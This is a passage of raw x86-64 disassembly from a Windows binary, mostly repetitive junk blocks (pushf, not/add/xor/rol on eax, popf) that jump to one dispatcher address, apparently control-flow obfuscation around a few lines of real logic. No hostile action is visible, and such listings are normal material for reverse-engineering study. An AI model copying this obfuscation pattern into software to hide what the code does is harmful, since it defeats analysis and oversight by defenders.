add eax, 0x51dc6e70
xor eax, 0x18c81610
rol eax, 0x96
popf
pushf
not eax
add eax, 0x102aa69a
xor eax, 0x17cfcac4
rol eax, 0xda
popf
pushf
not eax
add eax, 0x192016b9
xor eax, 0xf259928
rol eax, 0xc8
popf
jmp 0x1400e83b1
inc rdx
mov rcx, qword [rbp + 0xc8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400e9a60
push rax
pushf
mov eax, 0xe188f6d3
pushf
not eax
add eax, 0x58c1819d
xor eax, 0x2b498e54
rol eax, 6
popf
pushf
not eax
add eax, 0x6a217155
xor eax, 0x2902fce8
rol eax, 0x87
popf
pushf
not eax
add eax, 0x2a455bbe
xor eax, 0x294e0fb2
rol eax, 0x6e
popf
pushf
not eax
add eax, 0x3eb68888
xor eax, 0x7708241e
rol eax, 0x46
popf
jmp 0x1400e83b1
push rax
pushf
mov eax, 0x55601a59
pushf
not eax
add eax, 0x29075775
xor eax, 0x4bc3a82e
rol eax, 0x3d
popf
pushf
not eax
add eax, 0x63153410
xor eax, 0x38005995
rol eax, 0xe2
popf
pushf
not eax
add eax, 0x66815f0
xor eax, 0x542fd96
rol eax, 0x40
popf
pushf
not eax
add eax, 0x5c730a69
xor eax, 0x796dedfd
rol eax, 0xd4
popf
jmp 0x1400e83b1
add rdx, 0x27
mov rcx, qword [rcx - 8]
push rcx
not rcx
add rax, rcx
pop rcx
add rax, 1
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400e9b21
push rax
pushf
mov eax, 0x5a841cdf
pushf
not eax
add eax, 0x3cb7f49d
xor eax, 0x27052559
rol eax, 0
popf
pushf
not eax
add eax, 0x448b69d4
xor eax, 0x6e4b0963
rol eax, 0x7f
popf
pushf
not eax
add eax, 0x40b19a03
xor eax, 0x38200a3c
rol eax, 0x34
popf
jmp 0x1400e83b1
push rax
pushf
mov eax, 0x837ee0ba
pushf
not eax
add eax, 0x9530584
xor eax, 0x4d04ffd
rol eax, 0x4a
popf
pushf
not eax
add eax, 0x21543174
xor eax, 0x1fa75f6e
rol eax, 0x85
popf
jmp 0x1400e83b1
call fcn.140100bbf
push rax
pushf
mov eax, 0x3580c4bc
pushf
not eax
add eax, 0x438cb147
xor eax, 0x7447c181
rol eax, 0x4f
popf
pushf
not eax
add eax, 0x2ba782c3
xor eax, 0x21e88304
rol eax, 0x52
popf
pushf
not eax
add eax, 0x2525ba1f
xor eax, 0xadae6f9
rol eax, 0x10
popf
jmp 0x1400e83b1
test rbx, rbx
mov edi, dword [rbp + 0xf0]
jne 0x1400e9c07
push rax
pushf
mov eax, 0xecfe0569
pushf
not eax
add eax, 0x1a411a04
xor eax, 0xad0b4e3
rol eax, 0x78
popf
pushf
not eax
add eax, 0x6df865fa
xor eax, 0x730c8a4e
rol eax, 0x57
popf
pushf
not eax
add eax, 0xb9b4ef7
xor eax, 0x21f05e56
rol eax, 0xc6
popf
pushf
not eax
add eax, 0x32a10bef
xor eax, 0x50d164b7
rol eax, 0x25
popf
jmp 0x1400e83b1
push rax
pushf
mov eax, 0xa4f98c4
pushf
not eax
add eax, 0x59161346
xor eax, 0x7738182c
rol eax, 0x53
popf
pushf
not eax
add eax, 0x6dbf9c40
xor eax, 0x778e759a
rol eax, 0xd7
popf
pushf
not eax
add eax, 0x64b1eb46
xor eax, 0x7999f969
rol eax, 0x18
popf
jmp 0x1400e83b1
mov r14d, dword [rsp + 0x20]
push rax
pushf
mov eax, 0x1b7f7067
pushf
not eax
add eax, 0x7fefdf74
xor eax, 0x763acbcc
rol eax, 0xff
popf
pushf
not eax
add eax, 0x410adf76
xor eax, 0x77e58d15
rol eax, 7
popf
jmp 0x1400e83b1
inc r14d
mov dword [rsp + 0x20], r14d
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x100], xmm0
mov dword [rbp + 0x110], eax
movsxd rax, r14d
lea rcx, [rax + rax*4]
lea rcx, [rsi + rcx*4]
mov eax, dword [rbp - 0x18]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
mov r8d, 0x6c7f061e
pushf
not r8d
add r8d, 0x5a857b9f
xor r8d, 0x6d564d9e
rol r8d, 0x51
popf
pushf
not r8d
add r8d, 0x6451db36
xor r8d, 0x39e5f739
rol r8d, 0xc1
popf
pushf
not r8d
add r8d, 0xb056df5
xor r8d, 0x681d607a
rol r8d, 0xcc
popf
pushf
not r8d
add r8d, 0x2d388ec1
xor r8d, 0x48ca7f0d
rol r8d, 0x1c
popf
lea rdx, [rbp + 0x100]
call fcn.1400e7d95
movups xmm0, xmmword [rbp + 0x100]
movups xmmword [rbp + 0x60], xmm0
mov ebx, dword [rbp + 0x110]
psrldq xmm0, 8
movq rax, xmm0
shr rax, 0x20
test eax, eax
jne 0x1400e9daf
push rax
pushf
mov eax, 0xae715315
pushf
not eax
add eax, 0x18be517b
xor eax, 0x3b106abc
rol eax, 0xef
popf
pushf
not eax
add eax, 0x5569346a
xor eax, 0x5209a7f9
rol eax, 0x47
popf
pushf
not eax
add eax, 0x9f4be66
xor eax, 0x6df3d686
rol eax, 0x4f
popf
pushf
not eax
add eax, 0x8ff64c4
xor eax, 0x631f7b2d
rol eax, 0x7a
popf
jmp 0x1400e83b1
push rax
pushf
mov eax, 0x340e51aa
pushf
not eax
add eax, 0x1b131f77
xor eax, 0x24018456
rol eax, 1
popf
pushf
not eax
add eax, 0x60cb0063
xor eax, 0x3d856626
rol eax, 0x92
popf
pushf
not eax
add eax, 0x29b179e4
xor eax, 0x4cdd1fb9
rol eax, 0xf0
popf
pushf
not eax
add eax, 0x2e39343c
xor eax, 0x7ac282df
rol eax, 0x65
popf
jmp 0x1400e83b1
cmp qword [0x1400420e8], 0
seta r15b
mov eax, r15d
mov rcx, qword [rbp + 0x260]
xor rcx, rsp
call fcn.1400ff118
lea r11, [rsp + 0x370]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
push rax
pushf
mov eax, 0x7a94caca
pushf
not eax
add eax, 0x6f37932a
xor eax, 0xf3c6000
rol eax, 0x55
popf
pushf
not eax
add eax, 0xd552f4a
xor eax, 0x2255bb74
rol eax, 0x48
popf
jmp 0x1400e83b1
call fcn.1400e8302
nop